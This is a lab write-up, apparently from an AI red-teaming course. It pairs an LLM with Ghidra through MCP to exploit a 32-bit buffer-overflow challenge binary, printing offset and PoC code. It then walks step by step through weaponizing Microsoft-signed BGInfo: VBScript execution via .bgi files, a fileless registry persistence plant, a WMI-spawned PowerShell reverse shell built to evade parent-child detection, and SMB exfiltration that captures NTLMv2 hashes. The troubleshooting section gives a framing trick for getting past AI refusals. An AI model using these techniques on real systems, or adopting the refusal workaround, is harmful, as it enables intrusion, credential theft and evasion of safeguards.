AI Red Teaming Lab 6: Ghidra MCP — Beowulf BOF & BGInfo as a LOLBIN — a technical write-up
Lab 6 connects an LLM to Ghidra via MCP so the AI can decompile and query binaries live. Exercise 1 uses it
to analyze and exploit a vulnerable 32-bit ELF (beowulf). Exercise 2 reverse-engineers the
Microsoft-signed Sysinternals Bginfo.exe and weaponizes it as a LOLBIN across four red-team
exercises. This is the longest lab in the series — budget a full day.
Flag{0v3rFl0WW_AlL_Th3_B7Ff3rS} —
and a Microsoft-signed BGInfo turned into a fileless execution, reverse-shell, and exfiltration platform.
Attack path (how the steps chain)
- AI-assisted triage — Ghidra MCP lets the LLM enumerate imports, symbols, and decompiled functions; it spots
gets()/strcpy()and the three SIGSEGV handlers guarding the secret blobs. - Vulnerability → offset — the stack buffer sits at
ebp-0xd4, saved EIP atebp+4→ overwrite offset 216. - The crash is the exploit — junk EIP (
0xdeadbeef) triggers SIGSEGV; the installed handler XOR-decrypts the blob and writes it to stderr. No shellcode, no ROP. - Break the cipher — the base64 hint leads to the encryption script; ROL1∘ROR1 cancels, so undoing SUB/ADD/XOR recovers
Flag{0v3rFl0WW_AlL_Th3_B7Ff3rS}. - LOLBIN weaponization — reversing BGInfo reveals UserFields type 4 = VBScript execution: malicious
.bgi→ fileless registry plant → WMI-spawned reverse shell (parented toWmiPrvSE.exe) → SMB "database" exfiltration that also captures the victim's NTLMv2 hash — all under a Microsoft-signed binary.
1. Setup (common)
- Install Java JDK (Temurin), Ghidra 11.3.2, and the GhidraMCP 1.4 extension (Ghidra → File → Install Extensions → restart).
- Create a Ghidra project, import the target binary, run auto-analysis.
pip install mcp requests, then run the bridge:python bridge_mcp_ghidra.py --transport sse(leave running).- Point Cursor/Claude Desktop at the bridge via the provided
claude_desktop_config.json— fix the hardcoded path (C:\Users\StealthOPS\...) to your own. Green dot = connected.
beowulf imported and analyzed in Ghidra 11.4 (ELF 32-bit i386), CodeBrowser open on the entry point.2. Exercise 1 — Beowulf buffer overflow
2.1 What the AI should find
- ELF 32-bit PIE, not stripped; dangerous imports
gets+strcpy; symbols revealsigsegv_handler×3 and data blobsflag_d,algo_d,sample_d. - Modes
--flag/--algo/--sampleeach install a SIGSEGV handler, then read input withgets()into a stack buffer atebp-0xd4. Saved EIP atebp+4→ offset = 216. - The trick: no shellcode needed. Overwrite EIP with junk (
0xdeadbeef) → SIGSEGV → the installed handler XOR-decrypts the secret blob andwrite()s it to stderr. The crash is the exploit. - A base64 hint in
.rodatapoints to a pastebin with the full encryption script.
main decompiled: mode selection (--flag/--algo/--sample), each branch installing a sigsegv_handler before the vulnerable read.The decompiled handler shows the whole trick — XOR-decrypt the blob, then write() it to stderr:
void sigsegv_handler2(void) {
for (local_10 = 0; local_10 < 0x621; local_10++) {
algo_d[local_10] = algo_d[local_10] ^ 8; // in-place XOR decrypt
}
write(2, algo_d, strlen(algo_d)); // leak to stderr on crash
exit(1);
}
2.2 The AI prompt and PoC
Prompt: "I have decompiled the Beowulf file. Analyze the code, identify any security vulnerabilities, and generate a proof-of-concept (PoC) script demonstrating how the vulnerability could be exploited."
OFFSET = 216
payload = b"A" * OFFSET + b"\xde\xad\xbe\xef" # junk EIP → SIGSEGV
p = process([TARGET, mode]) # --flag / --algo / --sample
p.recvuntil(b": "); p.sendline(payload)
output = p.recvall(timeout=2) # handler prints secret to stderr
Mode → handler/XOR-key mapping: --flag → key 7, --algo → key 8, --sample → key 9.
2.3 Flag decryption
The custom cipher is per-byte with a rolling key: XOR key[i] → ADD key[i+1] → SUB key[i+2] → ROL1 → ROR1.
The elegant insight: ROL1 ∘ ROR1 cancels, so decoding is just undo SUB/ADD/XOR with the
3-position key window. 2. decrypt.py self-tests against the known "Hello World" sample, then yields:
[+] Flag : Flag{0v3rFl0WW_AlL_Th3_B7Ff3rS}
Pitfalls: beowulf is a Linux 32-bit binary (needs libc6-i386; won't run on
Windows/macOS); BOF.py hardcodes ./vuln_binary — rename or edit; assuming 64-bit
get the offset wrong.
3. Exercise 2 — BGInfo as a LOLBIN
3.1 Research phase (Ghidra MCP prompts, fed sequentially)
- Entry point WinMain at
0x004126c4; switches/timer /silent /i /iq ...; with no.bgiargument BGInfo reads config fromHKCU\Software\Winternals\BGInfo. - The weaponization primitive — the UserFields type-discriminator prefix (first byte of each value):
0registry,1file,2env var,3WMI query (read-onlyIWbemServices::ExecQuery),4VBScript → full code execution via IActiveScript. .bgiformat: flat dump of the BGInfo registry tree, no magic/integrity check; records[u32 name_len][name][u32 type][u32 data_len][data]; names are ANSI, not UTF-16LE; sentinel types0x80008000/0x80008001mark subkeys (name = single raw null byte); a field only evaluates if the RTF contains\protect <Label>\protect0.
3.2 The four red-team exercises (Windows VM)
- Ex 4.2 — Malicious .bgi:
python bgi_gen.py --vbs interactive.vbs --label SysInfo --out poc.bgithenBginfo.exe poc.bgi /timer:0 /silent→ notepad + calc pop as children of the signed binary;write.vbsdropsC:\Users\Public\bginfo_proof.txtsilently. - Ex 4.3/4.4 — Registry plant (fileless):
bgi_reg_plant.pywrites the config +'4' + vbs_pathinto HKCU with a minimal RTF — no.bgion disk, no admin needed, persists across reboots. Always--cleanupafterwards. - Ex 4.5 — WMI recon + reverse shell:
bgi_wmi_probe.py --preset default --schtask BGInfo_WMI_Proofplants type-3 WMI fields and a scheduled task viaWin32_Process.Create;--revshell <ip>:4444launches a Base64-encoded PowerShell reverse shell — spawned byWmiPrvSE.exe, not BGInfo, breaking parent-child heuristics. VBScript constraint: useChr(34)for all embedded quotes or IActiveScript fails silently. - Ex 4.6 — Data exfiltration: point BGInfo's
Databasevalue at an attacker UNC path ending in .txt (--database \\<ip>\share\exfil.txt); the Microsoft Text ODBC driver dumps full host recon as CSV over SMB, and impacket-smbserver captures the victim's NTLMv2 hash. UseWMI_label prefixes to avoid JET duplicate-column crashes;.mdbtargets crash modern ODBC.
4. Troubleshooting highlights
- MCP server not green → bridge not running, Ghidra project not open, or wrong config path.
- AI refusals → open with the "authorized ethical hacking lab" framing; feed prompts sequentially in one session (context is cumulative).
- Field planted but nothing executes → RTF missing the
\protecttoken. .bgisilently ignored → UTF-16LE names or 2-byte null sentinel; must be ANSI + raw\x00.- No reverse shell → check listener, firewall, Defender (lab VMs should have exclusions).
- Planted HKCU keys persist across reboots — always run
--cleanupand delete the scheduled task.